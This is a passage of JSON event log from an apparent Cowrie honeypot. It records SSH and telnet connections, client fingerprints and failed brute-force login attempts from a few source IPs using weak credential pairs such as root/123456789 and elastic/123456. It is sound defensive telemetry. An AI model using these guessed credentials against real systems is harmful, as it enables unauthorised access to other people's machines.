{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:17.419547Z","src_ip":"192.109.200.237","session":"ec59acc8355c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:17.665404Z","src_ip":"192.109.200.237","session":"ec59acc8355c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:18.906493Z","src_ip":"192.109.200.237","session":"ec59acc8355c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57730,"dst_ip":"159.203.135.109","dst_port":22,"session":"f32ba771cba5","protocol":"ssh","message":"New connection: 192.109.200.237:57730 (159.203.135.109:22) [session: f32ba771cba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:20.556977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:20.562825Z","src_ip":"192.109.200.237","session":"f32ba771cba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:20.650926Z","src_ip":"192.109.200.237","session":"f32ba771cba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:20.897948Z","src_ip":"192.109.200.237","session":"f32ba771cba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:21.983788Z","src_ip":"192.109.200.237","session":"f32ba771cba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.433979988098145,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:23.263553Z","src_ip":"152.42.224.71","session":"a54623622231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57734,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1b04f7df8d","protocol":"ssh","message":"New connection: 192.109.200.237:57734 (159.203.135.109:22) [session: ca1b04f7df8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:23.730895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:23.738691Z","src_ip":"192.109.200.237","session":"ca1b04f7df8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:23.833211Z","src_ip":"192.109.200.237","session":"ca1b04f7df8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:24.185076Z","src_ip":"192.109.200.237","session":"ca1b04f7df8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:25.272332Z","src_ip":"192.109.200.237","session":"ca1b04f7df8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57736,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef6cc9807780","protocol":"ssh","message":"New connection: 192.109.200.237:57736 (159.203.135.109:22) [session: ef6cc9807780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:27.132964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:27.146422Z","src_ip":"192.109.200.237","session":"ef6cc9807780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:27.228638Z","src_ip":"192.109.200.237","session":"ef6cc9807780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:27.475837Z","src_ip":"192.109.200.237","session":"ef6cc9807780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:28.560479Z","src_ip":"192.109.200.237","session":"ef6cc9807780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49308,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f4d1ccbeb05","protocol":"ssh","message":"New connection: 192.109.200.237:49308 (159.203.135.109:22) [session: 1f4d1ccbeb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:30.265629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:30.270663Z","src_ip":"192.109.200.237","session":"1f4d1ccbeb05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:30.353409Z","src_ip":"192.109.200.237","session":"1f4d1ccbeb05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":56406,"dst_ip":"159.203.135.109","dst_port":22,"session":"7012a5bb60d8","protocol":"ssh","message":"New connection: 147.45.199.80:56406 (159.203.135.109:22) [session: 7012a5bb60d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:30.493090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:30.497683Z","src_ip":"147.45.199.80","session":"7012a5bb60d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:30.595330Z","src_ip":"147.45.199.80","session":"7012a5bb60d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:30.604808Z","src_ip":"192.109.200.237","session":"1f4d1ccbeb05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveless","message":"login attempt [root/loveless] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:30.886629Z","src_ip":"147.45.199.80","session":"7012a5bb60d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:31.689577Z","src_ip":"192.109.200.237","session":"1f4d1ccbeb05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:31.985496Z","src_ip":"147.45.199.80","session":"7012a5bb60d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60148,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca050e7bc7c","protocol":"telnet","message":"New connection: 152.42.224.71:60148 (10.17.0.5:23) [session: 3ca050e7bc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:32.040950Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49316,"dst_ip":"159.203.135.109","dst_port":22,"session":"16fdc0e457b8","protocol":"ssh","message":"New connection: 192.109.200.237:49316 (159.203.135.109:22) [session: 16fdc0e457b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:33.520391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:33.524808Z","src_ip":"192.109.200.237","session":"16fdc0e457b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:33.607214Z","src_ip":"192.109.200.237","session":"16fdc0e457b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:33.862835Z","src_ip":"192.109.200.237","session":"16fdc0e457b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:34.948623Z","src_ip":"192.109.200.237","session":"16fdc0e457b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00230026245117,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:36.412278Z","src_ip":"46.60.48.98","session":"77844ad9e3e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49326,"dst_ip":"159.203.135.109","dst_port":22,"session":"979422618e2c","protocol":"ssh","message":"New connection: 192.109.200.237:49326 (159.203.135.109:22) [session: 979422618e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:36.777090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:36.781785Z","src_ip":"192.109.200.237","session":"979422618e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:36.863871Z","src_ip":"192.109.200.237","session":"979422618e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:37.131177Z","src_ip":"192.109.200.237","session":"979422618e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":55348,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1076ff951d","protocol":"telnet","message":"New connection: 46.60.48.98:55348 (159.203.135.109:23) [session: bd1076ff951d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:37.879989Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:38.214581Z","src_ip":"192.109.200.237","session":"979422618e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48198,"dst_ip":"10.17.0.5","dst_port":23,"session":"573fe889315c","protocol":"telnet","message":"New connection: 152.42.224.71:48198 (10.17.0.5:23) [session: 573fe889315c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:39.282761Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55748,"dst_ip":"159.203.135.109","dst_port":22,"session":"77578e51da16","protocol":"ssh","message":"New connection: 192.109.200.237:55748 (159.203.135.109:22) [session: 77578e51da16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:40.204859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:40.211606Z","src_ip":"192.109.200.237","session":"77578e51da16","protocol":"ssh"}
